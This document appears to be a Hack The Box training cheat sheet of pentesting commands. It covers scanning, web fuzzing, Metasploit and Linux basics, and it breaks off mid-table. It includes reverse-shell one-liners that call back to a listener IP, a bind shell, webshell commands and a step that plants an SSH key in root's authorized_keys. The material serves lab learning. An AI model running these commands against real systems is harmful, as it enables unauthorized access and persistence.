# HTB Cheet Sheet ### Basic Commands | **Command** | **Description** | | ------------------------ | ------------------------------------ | | **General** | | | `sudo openvpn user.ovpn` | Connect to VPN | | `ifconfig`/`ip a` | Show our IP address | | `netstat -rn` | Show networks accessible via the VPN | | `ssh user@10.10.10.10` | SSH to a remote server | | `ftp 10.129.42.253` | FTP to a remote server | | **tmux** | | | `tmux` | Start tmux | | `ctrl+b` | tmux: default prefix | | `prefix c` | tmux: new window | | `prefix 1` | tmux: switch to window (`1`) | | `prefix shift+%` | tmux: split pane vertically | | `prefix shift+"` | tmux: split pane horizontally | | `prefix ->` | tmux: switch to the right pane | | **Vim** | | | `vim file` | vim: open `file` with vim | | `esc+i` | vim: enter `insert` mode | | `esc` | vim: back to `normal` mode | | `x` | vim: Cut character | | `dw` | vim: Cut word | | `dd` | vim: Cut full line | | `yw` | vim: Copy word | | `yy` | vim: Copy full line | | `p` | vim: Paste | | `:1` | vim: Go to line number 1. | | `:w` | vim: Write the file 'i.e. save' | | `:q` | vim: Quit | | `:q!` | vim: Quit without saving | | `:wq` | vim: Write and quit | ### Pentesting | **Command** | **Description** | | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------- | | **Service Scanning** | | | `nmap 10.129.42.253` | Run nmap on an IP | | `nmap -sV -sC -p- 10.129.42.253` | Run an nmap script scan on an IP | | `locate scripts/citrix` | List various available nmap scripts | | `nmap --script smb-os-discovery.nse -p445 10.10.10.40` | Run an nmap script on an IP | | `netcat 10.10.10.10 22` | Grab banner of an open port | | `smbclient -N -L \\\\10.129.42.253` | List SMB Shares | | `smbclient \\\\10.129.42.253\\users` | Connect to an SMB share | | `snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0` | Scan SNMP on an IP | | `onesixtyone -c dict.txt 10.129.42.254` | Brute force SNMP secret string | | **Web Enumeration** | | | `gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt` | Run a directory scan on a website | | `gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt` | Run a sub-domain scan on a website | | `curl -IL https://www.inlanefreight.com` | Grab website banner | | `whatweb 10.10.10.121` | List details about the webserver/certificates | | `curl 10.10.10.121/robots.txt` | List potential directories in `robots.txt` | | `ctrl+U` | View page source (in Firefox) | | **Public Exploits** | | | `searchsploit openssh 7.2` | Search for public exploits for a web application | | `msfconsole` | MSF: Start the Metasploit Framework | | `search exploit eternalblue` | MSF: Search for public exploits in MSF | | `use exploit/windows/smb/ms17_010_psexec` | MSF: Start using an MSF module | | `show options` | MSF: Show required options for an MSF module | | `set RHOSTS 10.10.10.40` | MSF: Set a value for an MSF module option | | `check` | MSF: Test if the target server is vulnerable | | `exploit` | MSF: Run the exploit on the target server is vulnerable | | **Using Shells** | | | `nc -lvnp 1234` | Start a `nc` listener on a local port | | `bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'` | Send a reverse shell from the remote server | | `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/sh -i 2>&1\|nc 10.10.10.10 1234 >/tmp/f` | Another command to send a reverse shell from the remote server | | `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/bash -i 2>&1\|nc -lvp 1234 >/tmp/f` | Start a bind shell on the remote server | | `nc 10.10.10.1 1234` | Connect to a bind shell started on the remote server | | `python -c 'import pty; pty.spawn("/bin/bash")'` | Upgrade shell TTY (1) | | `ctrl+z` then `stty raw -echo` then `fg` then `enter` twice | Upgrade shell TTY (2) | | `echo "" > /var/www/html/shell.php` | Create a webshell php file | | `curl http://SERVER_IP:PORT/shell.php?cmd=id` | Execute a command on an uploaded webshell | | **Privilege Escalation** | | | `./linpeas.sh` | Run `linpeas` script to enumerate remote server | | `sudo -l` | List available `sudo` privileges | | `sudo -u user /bin/echo Hello World!` | Run a command with `sudo` | | `sudo su -` | Switch to root user (if we have access to `sudo su`) | | `sudo su user -` | Switch to a user (if we have access to `sudo su`) | | `ssh-keygen -f key` | Create a new SSH key | | `echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys` | Add the generated public key to the user | | `ssh root@10.10.10.10 -i key` | SSH to the server with the generated private key | | **Transferring Files** | | | `python3 -m http.server 8000` | Start a local webserver | | `wget http://10.10.14.1:8000/linpeas.sh` | Download a file on the remote server from our local machine | | `curl http://10.10.14.1:8000/linenum.sh -o linenum.sh` | Download a file on the remote server from our local machine | | `scp linenum.sh user@remotehost:/tmp/linenum.sh` | Transfer a file to the remote server with `scp` (requires SSH access) | | `base64 shell -w 0` | Convert a file to `base64` | | `echo f0VMR...SNIO...InmDwU \| base64 -d > shell` | Convert a file from `base64` back to its orig | | `md5sum shell` | Check the file's `md5sum` to ensure it converted correctly | ## Commands | **Command** | **Description** | | ---------------------------------------------------------- | --------------------------- | | `curl http:/SERVER_IP:PORT/` | cURL GET request | | `curl -s http:/SERVER_IP:PORT/ -X POST` | cURL POST request | | `curl -s http:/SERVER_IP:PORT/ -X POST -d "param1=sample"` | cURL POST request with data | | `echo hackthebox \| base64` | base64 encode | | `echo ENCODED_B64 \| base64 -d` | base64 decode | | `echo hackthebox \| xxd -p` | hex encode | | `echo ENCODED_HEX \| xxd -p -r` | hex decode | | `echo hackthebox \| tr 'A-Za-z' 'N-ZA-Mn-za-m'` | rot13 encode | | `echo ENCODED_ROT13 \| tr 'A-Za-z' 'N-ZA-Mn-za-m'` | rot13 decode | ## Deobfuscation Websites | **Website** | | ------------------------------------------- | | [JS Console](https://jsconsole.com) | | [Prettier](https://prettier.io/playground/) | | [Beautifier](https://beautifier.io/) | | [JSNice](http://www.jsnice.org/) | ## Misc | **Command** | **Description** | | ----------- | -------------------------------- | | `ctrl+u` | Show HTML source code in Firefox | ## Linux Commands | **Command** | **Description** | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | | `man ` | Opens man pages for the specified tool. | | ` -h` | Prints the help page of the tool. | | `apropos ` | Searches through man pages' descriptions for instances of a given keyword. | | `cat` | Concatenate and print files. | | `whoami` | Displays current username. | | `id` | Returns users identity. | | `hostname` | Sets or prints the name of the current host system. | | `uname` | Prints operating system name. | | `pwd` | Returns working directory name. | | `ifconfig` | The `ifconfig` utility is used to assign or view an address to a network interface and/or configure network interface parameters. | | `ip` | Ip is a utility to show or manipulate routing, network devices, interfaces, and tunnels. | | `netstat` | Shows network status. | | `ss` | Another utility to investigate sockets. | | `ps` | Shows process status. | | `who` | Displays who is logged in. | | `env` | Prints environment or sets and executes a command. | | `lsblk` | Lists block devices. | | `lsusb` | Lists USB devices. | | `lsof` | Lists opened files. | | `lspci` | Lists PCI devices. | | `sudo` | Execute command as a different user. | | `su` | The `su` utility requests appropriate user credentials via PAM and switches to that user ID (the default user is the superuser). A shell is then executed. | | `useradd` | Creates a new user or update default new user information. | | `userdel` | Deletes a user account and related files. | | `usermod` | Modifies a user account. | | `addgroup` | Adds a group to the system. | | `delgroup` | Removes a group from the system. | | `passwd` | Changes user password. | | `dpkg` | Install, remove and configure Debian-based packages. | | `apt` | High-level package management command-line utility. | | `aptitude` | Alternative to `apt`. | | `snap` | Install, remove and configure snap packages. | | `gem` | Standard package manager for Ruby. | | `pip` | Standard package manager for Python. | | `git` | Revision control system command-line utility. | | `systemctl` | Command-line based service and systemd control manager. | | `ps` | Prints a snapshot of the current processes. | | `journalctl` | Query the systemd journal. | | `kill` | Sends a signal to a process. | | `bg` | Puts a process into background. | | `jobs` | Lists all processes that are running in the background. | | `fg` | Puts a process into the foreground. | | `curl` | Command-line utility to transfer data from or to a server. | | `wget` | An alternative to `curl` that downloads files from FTP or HTTP(s) server. | | `python3 -m http.server` | Starts a Python3 web server on TCP port 8000. | | `ls` | Lists directory contents. | | `cd` | Changes the directory. | | `clear` | Clears the terminal. | | `touch` | Creates an empty file. | | `mkdir` | Creates a directory. | | `tree` | Lists the contents of a directory recursively. | | `mv` | Move or rename files or directories. | | `cp` | Copy files or directories. | | `nano` | Terminal based text editor. | | `which` | Returns the path to a file or link. | | `find` | Searches for files in a directory hierarchy. | | `updatedb` | Updates the locale database for existing contents on the system. | | `locate` | Uses the locale database to find contents on the system. | | `more` | Pager that is used to read STDOUT or files. | | `less` | An alternative to `more` with more features. | | `head` | Prints the first ten lines of STDOUT or a file. | | `tail` | Prints the last ten lines of STDOUT or a file. | | `sort` | Sorts the contents of STDOUT or a file. | | `grep` | Searches for specific results that contain given patterns. | | `cut` | Removes sections from each line of files. | | `tr` | Replaces certain characters. | | `column` | Command-line based utility that formats its input into multiple columns. | | `awk` | Pattern scanning and processing language. | | `sed` | A stream editor for filtering and transforming text. | | `wc` | Prints newline, word, and byte counts for a given input. | | `chmod` | Changes permission of a file or directory. | | `chown` | Changes the owner and group of a file or directory. | ## Ffuf | **Command** | **Description** | | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------ | | `ffuf -h` | ffuf help | | `ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ` | Directory Fuzzing | | `ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ` | Extension Fuzzing | | `ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php` | Page Fuzzing | | `ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v` | Recursive Fuzzing | | `ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/` | Sub-domain Fuzzing | | `ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs xxx` | VHost Fuzzing | | `ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx` | Parameter Fuzzing - GET | | `ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx` | Parameter Fuzzing - POST | | `ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx` | Value Fuzzing | ## Wordlists | **Command** | **Description** | | ------------------------------------------------------------------------- | ----------------------- | | `/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt` | Directory/Page Wordlist | | `/opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt` | Extensions Wordlist | | `/opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt` | Domain Wordlist | | `/opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt` | Parameters Wordlist | ## Misc | **Command** | **Description** | | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------ | | `sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts'` | Add DNS entry | | `for i in $(seq 1 1000); do echo $i >> ids.txt; done` | Create Sequence Wordlist | | `curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded'` | curl w/ POST | ### MSFconsole Commands | **Command** | **Description** | | ----------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | | `show exploits` | Show all exploits within the Framework. | | `show payloads` | Show all payloads within the Framework. | | `show auxiliary` | Show all auxiliary modules within the Framework. | | `search ` | Search for exploits or modules within the Framework. | | `info` | Load information about a specific exploit or module. | | `use ` | Load an exploit or module (example: use windows/smb/psexec). | | `use ` | Load an exploit by using the index number displayed after the search command. | | `LHOST` | Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells. | | `RHOST` | The remote host or the target. set function Set a specific value (for example, LHOST or RHOST). | | `setg ` | Set a specific value globally (for example, LHOST or RHOST). | | `show options` | Show the options available for a module or exploit. | | `show targets` | Show the platforms supported by the exploit. | | `set target ` | Specify a specific target index if you know the OS and service pack. | | `set payload ` | Specify the payload to use. | | `set payload ` | Specify the payload index number to use after the show payloads command. | | `show advanced` | Show advanced options. | | `set autorunscript migrate -f` | Automatically migrate to a separate process upon exploit completion. | | `check` | Determine whether a target is vulnerable to an attack. | | `exploit` | Execute the module or exploit and attack the target. | | `exploit -j` | Run the exploit under the context of the job. (This will run the exploit in the background.) | | `exploit -z` | Do not interact with the session after successful exploitation. | | `exploit -e ` | Specify the payload encoder to use (example: exploit –e shikata\_ga\_nai). | | `exploit -h` | Display help for the exploit command. | | `sessions -l` | List available sessions (used when handling multiple shells). | | `sessions -l -v` | List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system. | | `sessions -s